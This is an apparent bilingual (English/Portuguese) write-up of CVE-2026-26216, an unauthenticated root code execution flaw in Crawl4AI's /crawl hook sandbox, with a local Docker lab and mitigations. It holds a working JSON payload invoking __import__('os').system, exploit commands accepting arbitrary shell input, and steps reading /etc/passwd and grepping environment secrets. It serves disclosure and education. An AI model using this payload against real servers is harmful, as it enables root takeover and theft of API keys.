joaovicdev
exploitexploitCVE-2026-26216

CVE-2026-26216: Crawl4AI unauthenticated RCE via hooksCVE-2026-26216: RCE não autenticada no Crawl4AI via hooks

A single unauthenticated JSON POST to Crawl4AI's /crawl endpoint executes Python as root — the homemade builtins sandbox kept __import__ on the allowlist. Dockerized lab plus a stdlib-only exploit.Um único POST JSON não autenticado no endpoint /crawl do Crawl4AI executa Python como root — o sandbox caseiro de builtins deixou __import__ na allowlist. Lab dockerizado e exploit usando só a stdlib.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: this is a self-contained lab built for education and authorized security research. The vulnerable target runs locally in Docker. Only use it against systems you own or have explicit written permission to test — misuse can be a crime.

Summary

CVE-2026-26216 (GHSA-5882-5rx9-xgxp, CVSS 10.0, CWE-94) is a pre-authentication remote code execution bug in Crawl4AI below 0.8.0. The Docker server's POST /crawl endpoint accepts arbitrary Python in the hooks.code.<event> field and runs it through exec() inside a homemade sandbox — a restricted dictionary of builtins.

The sandbox strips open, eval, and exec, but __import__ was left on the allowlist. That single forgotten builtin hands over the entire standard library:

__import__("os").system("id")

Because the official deployment ships with JWT disabled by default and the container runs as root, one JSON body is enough for unauthenticated root RCE.

Impact

AxisWhat an attacker gets
ConfidentialityOPENAI_API_KEY, internal tokens, and every other container secret
IntegrityArbitrary file write — backdoors, tampered crawl output
AvailabilityKill processes, wipe data inside the container
Lateral movementThe container usually reaches the internal network → pivot

All of it without a single credential.

Affected versions

Crawl4AIStatus
< 0.8.0Vulnerable — __import__ allowed, hooks enabled by default
>= 0.8.0Fixed — __import__ removed, hooks opt-in via CRAWL4AI_HOOKS_ENABLED

Proof of concept

The whole exploit is the request body. The hook is a normal async def that the server compiles and executes for the named event:

POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

The lab in the repo is a lean reproduction of the vulnerable code path — no Chromium/Playwright, so it stays light and fully reproducible — with the vulnerable line marked in vulnerable-app/hook_manager.py:

CVE-2026-26216/
├── docker-compose.yml         # brings up the vulnerable server
├── vulnerable-app/
│   ├── Dockerfile             # runs as root, like the official image
│   ├── server.py              # FastAPI: POST /crawl, no auth
│   └── hook_manager.py        # the weak sandbox — vulnerable line here
└── exploit/
    └── exploit.py             # stdlib-only exploit

--demo walks the five stages that make the point:

#ActionResult
1open('/etc/passwd') directlyBlocked by the sandbox (false security)
2__import__('subprocess') + id / whoamiCommand execution as root
3cat /etc/passwd through the shellArbitrary file read
4env | grep -Ei 'KEY|TOKEN|SECRET'API key / token exfiltration
5echo ... > /tmp/PWNEDArbitrary file write

Step 1 is the interesting one: the naive payload really is blocked, which is exactly what makes the allowlist feel safe right up until step 2 lands.

Run it

Prerequisites: Docker and Python 3 (the exploit uses stdlib only).

1. Bring up the target:

docker compose up -d --build

2. Run the full demonstration:

python3 exploit/exploit.py --target http://localhost:11235 --demo

3. Or execute an arbitrary command:

python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

--event swaps the abused hook event (default on_page_context_created).

4. Tear it down:

docker compose down -v

Fix and mitigations

Fixed in Crawl4AI 0.8.0: __import__ (alongside eval, exec, and open) was removed from the permitted builtins, and hooks are now disabled by default, opt-in through CRAWL4AI_HOOKS_ENABLED=true.

  • Upgrade to crawl4ai >= 0.8.0.
  • Never expose the Crawl4AI server directly to the internet; enable JWT.
  • Don't run the container as root — use an unprivileged user and a read-only FS.
  • Treat a builtins allowlist as what it is: not a sandbox. Untrusted code needs real isolation (gVisor, a microVM, or a separate process with no network and no filesystem, plus seccomp).

References

Autorização: este é um lab autocontido, feito apenas para fins educacionais e pesquisa de segurança autorizada. O alvo vulnerável roda localmente em Docker. Use apenas contra sistemas que você possui ou para os quais tem permissão explícita por escrito — uso indevido pode ser crime.

Resumo

A CVE-2026-26216 (GHSA-5882-5rx9-xgxp, CVSS 10.0, CWE-94) é uma execução remota de código pré-autenticação no Crawl4AI abaixo da 0.8.0. O endpoint POST /crawl do servidor Docker aceita Python arbitrário no campo hooks.code.<event> e o executa via exec() dentro de um sandbox caseiro — um dicionário restrito de builtins.

O sandbox remove open, eval e exec, mas __import__ ficou na allowlist. Esse único builtin esquecido entrega a biblioteca padrão inteira:

__import__("os").system("id")

Como o deploy oficial vem com JWT desabilitado por padrão e o contêiner roda como root, um corpo JSON basta para RCE como root sem autenticação.

Impacto

EixoO que o atacante consegue
ConfidencialidadeOPENAI_API_KEY, tokens internos e todo outro segredo do contêiner
IntegridadeEscrita arbitrária de arquivos — backdoors, saída de crawl adulterada
DisponibilidadeMatar processos, apagar dados dentro do contêiner
Movimentação lateralO contêiner normalmente alcança a rede interna → pivô

Tudo isso sem uma única credencial.

Versões afetadas

Crawl4AIStatus
< 0.8.0Vulnerável — __import__ permitido, hooks habilitados por padrão
>= 0.8.0Corrigido — __import__ removido, hooks opt-in via CRAWL4AI_HOOKS_ENABLED

Prova de conceito

O exploit inteiro é o corpo da requisição. O hook é um async def comum que o servidor compila e executa para o evento indicado:

POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

O lab do repositório é uma reprodução enxuta do caminho de código vulnerável — sem Chromium/Playwright, para ficar leve e totalmente reproduzível — com a linha vulnerável marcada em vulnerable-app/hook_manager.py:

CVE-2026-26216/
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # roda como root, igual à imagem oficial
│   ├── server.py              # FastAPI: POST /crawl, sem auth
│   └── hook_manager.py        # o sandbox fraco — linha vulnerável aqui
└── exploit/
    └── exploit.py             # exploit usando só a stdlib

O --demo percorre os cinco estágios que provam o ponto:

#AçãoResultado
1open('/etc/passwd') diretoBloqueado pelo sandbox (falsa segurança)
2__import__('subprocess') + id / whoamiExecução de comandos como root
3cat /etc/passwd pelo shellLeitura arbitrária de arquivos
4env | grep -Ei 'KEY|TOKEN|SECRET'Exfiltração de API keys e tokens
5echo ... > /tmp/PWNEDEscrita arbitrária de arquivos

O passo 1 é o interessante: o payload ingênuo realmente é bloqueado, e é exatamente isso que faz a allowlist parecer segura — até o passo 2 acertar.

Rodando o lab

Pré-requisitos: Docker e Python 3 (o exploit usa apenas a stdlib).

1. Suba o alvo:

docker compose up -d --build

2. Rode a demonstração completa:

python3 exploit/exploit.py --target http://localhost:11235 --demo

3. Ou execute um comando arbitrário:

python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

O --event troca o evento de hook abusado (padrão on_page_context_created).

4. Derrube o ambiente:

docker compose down -v

Correção e mitigações

Corrigido no Crawl4AI 0.8.0: __import__ (junto de eval, exec e open) foi removido dos builtins permitidos, e os hooks agora vêm desabilitados por padrão, com opt-in via CRAWL4AI_HOOKS_ENABLED=true.

  • Atualize para crawl4ai >= 0.8.0.
  • Nunca exponha o servidor do Crawl4AI diretamente na internet; habilite JWT.
  • Não rode o contêiner como root — use um usuário sem privilégios e um filesystem somente leitura.
  • Trate uma allowlist de builtins pelo que ela é: não é um sandbox. Código não confiável precisa de isolamento de verdade (gVisor, uma microVM, ou um processo separado sem rede e sem filesystem, mais seccomp).

Referências